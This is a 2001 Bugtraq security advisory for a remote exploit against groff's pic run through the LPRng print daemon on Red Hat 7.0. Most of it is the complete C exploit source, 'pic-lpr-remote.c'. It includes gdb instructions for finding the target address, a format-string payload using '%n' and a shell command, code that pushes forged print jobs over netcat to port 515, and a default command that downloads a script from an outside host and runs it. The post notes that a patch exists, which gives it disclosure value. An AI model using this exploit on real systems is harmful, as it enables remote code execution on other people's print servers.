ADV/EXP:pic/lpd remote exploit - RH 7.0
Date: Fri, 27 Jul 2001 00:01:41 +1200 (NZST)
From: zen-parse@gmx.net
To: bugtraq@securityfocus.com
Subject: ADV/EXP:pic/lpd remote exploit - RH 7.0
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Vendor security list has been notified and as of last contact,
on Mon July 9 2001, a patch which seemed to work had been worked out.
This patch is attached. ( groff-1.16.1.diff )
Official patches are sure to follow.
---->>>>>>>>>> begin pic-lpr-remote.c <<<<<<<<<<----
#include<stdio.h>
///////////////////////////////////////////////////////////////////
/// // // /// //// //// // //////______/
/// // // ////// / / / /// //// //// //// //////////______/
/// /// /// // // /// //// //// //// /////// ///
/// // // ////// ///// /// //// //// //// //////////____///
/// // // ////// ///// /// //// //// //// /////////////////
/// // // // ///// //// ////// //// /////////////
///////////////////////////////////////////////////////////////////
// \\ -- zen-parse -- \\
// \\___________________\\
// \ Remote access \
// \_____________________\
// pic format string exploit
// =========================
// This version - Sat Jun 23 21:35:31 NZST 2001
// (updated to fix broken link Thu Jul 27 23:45:34 NZST 2001)
//
// pic is part of the groff package. It is used by troff-to-ps.fpi as uid lp
// when perl, troff and LPRng are installed.
//
// The address given is not the exact address, but it works.
// (see /* comments below */ for information on why it's not the exact address)
//
// The offset given is (close enough to) the address for the
// version of /usr/bin/pic from the rpm that comes redhat 7.0
// (groff-1.16-7) The method used to find the offset in your
// version of pic could be something like this :-
/*
bash-2.04$ gdb -q /usr/bin/pic
(no debugging symbols found)...(gdb)
(gdb) break getopt
Breakpoint 1 at 0x8048e94
(gdb) display/i $eip
(gdb) r -S
Starting program: /usr/bin/pic -S
Breakpoint 1 at 0x4014d552: file getopt.c, line 987.
Breakpoint 1, getopt (argc=2, argv=0xbffffa84,
optstring=0x8060bc9 "T:CDSUtcvnxzpf") at getopt.c:987
987 getopt.c: No such file or directory.
1: x/i $eip 0x4014d552 <getopt+18>: mov 0x10(%ebp),%ecx
(gdb)
(
type nexti a few (mebe a dozen or 2?) times until you see something like
movl $0x1,%ebx
in which case the next instruction contains safe_address, or
movl $0x1,0xsomeaddress
in which case safe_address is 0xsomeaddress
IE: It is the the address used by the first instructions
that assign a value of 1 to an address after the getopt() call.
)
1: x/i $eip 0x80523c2 <strcpy+37758>: mov $0x1,%ebx
(gdb)
0x80523c7 31 in ../sysdeps/generic/strcpy.c
1: x/i $eip 0x80523c7 <strcpy+37763>: mov %ebx,0x806feec
(gdb) q
In this case, the address is 0x0806feec, however you may need to aim for
just a little before that, due to what are probably rounding errors in the
conversion between int->float->int, and using the least significant
digits.
This means: You may need to play a little to get it working on your machine.
*/
#define PICURL "http://crash.ihug.co.nz/~Sneuro/samplelpdscript.sh"
#error "http://mp3.com/cosv needs visiting"
#define SAFER_ADDRESS 0x0806feeb
#define QUEUE "lp"
FILE *pip;
char *payload(char *cmd,int safer);
char *eos(char *s)
{
return s+strlen(s);
}
output(char *s,char*addr,FILE*pip)
{
char v[]=
"Aroot@%s+666\n"
"CA\n"
"D2001-06-23-08:59:18.714\n"
"Hclarity.local\n"
"J/tmp/hack-attempt\n"
"Lroot\n"
"Proot\n"
"Qlp\n"
"N/tmp/sh.c\n"
"fdfA666%s\n"
"UdfA666%s\n";
char nv[1024];
fprintf(pip,"\x2"QUEUE"\n");
sprintf(nv,v,addr,addr,addr);
fprintf(pip,"\x2%d cfA666%s\n",strlen(nv),addr);
fprintf(pip,"%s",nv);
fflush(pip);
putc(0,pip);
fflush(pip);
fprintf(pip,"\x3%d dfA666%s\n",strlen(s),addr);
fprintf(pip,"%s",s);
fflush(pip);
putc(0,pip);
fflush(pip);
}
main(int argc,char *argv[])
{
int safer=SAFER_ADDRESS;
char pcmd[1024];
char *cmd=0;
char *addr=0;
char *evil=0;
if(argc==1)addr="-h";
if(!addr)addr=(char*)malloc(256);
if(argc>2)safer=(int)strtoul(argv[2],0,16);
if(argc>1)addr=argv[1];
if(argc>3)cmd=argv[3];
else
{
if(!cmd)cmd=(char*)malloc(512);
strcpy(cmd,
"export HOME=/tmp;/usr/bin/lynx -dump "PICURL
">/tmp/lpd.cmd.$$;chmod +x /tmp/lpd.cmd.$$;/tmp/lpd.cmd.$$");
}
if(!*addr)addr=(char*)malloc(256);
if(!strcmp(addr,"-h"))
{
printf("%s ip-address safer-address 'commands in quotes'\n",argv[0]);
exit(1);
}
evil=payload(cmd,safer);
sprintf(pcmd,"nc %s 515",addr);
pip=popen(pcmd,"w");
output(evil,addr,pip);
if(pclose(pip))
{
printf("It might not've worked.\nThe command returned a funny value.\n");
printf("check you have netcat (nc) in your path.\n");
exit(1);
}
}
char *payload(char *cmd,int safer)
{
char *retstr;
char *tmp;
retstr=(char*)malloc(4096);
sprintf(retstr,".PS\n");
// %f is 8 bytes long the two values are \\
// needed. the value was just the first one \\
// that I had in there... it it ain't broke... \\
tmp=eos(retstr);
sprintf(tmp,"plot %5.20f \"%%n\"\n",safer,0xbffffa08);
tmp=eos(retstr);
sprintf(tmp,"sh X%sX\n",cmd);
tmp=eos(retstr);
sprintf(tmp,".PE\n");
tmp=eos(retstr);
sprintf(tmp,"This is the way we hack the printer,\n");
tmp=eos(retstr);
sprintf(tmp,"Hack the printer, hack the printer.\n");
tmp=eos(retstr);
sprintf(tmp,"This is the way we hack the printer,\n");
tmp=eos(retstr);
sprintf(tmp,"when they are running a vulnerable version\n");
tmp=eos(retstr);
sprintf(tmp,"of groff.\n");
tmp=eos(retstr);
return retstr;
}
---->>>>>>>>>> end pic-lpr-remote.c <<<<<<<<<<----
------------------------------------------------------------------------
-- - - - - - -- http://mp3.com/cosv - It's not just a music site! --
-- zen-parse -- (photon bed is good) Ok, it is, but it's my one. --
-- - - - - - -- Gone Platinum -CoSV - Buy the CD and make me happy. --
------------------------------------------------------------------------
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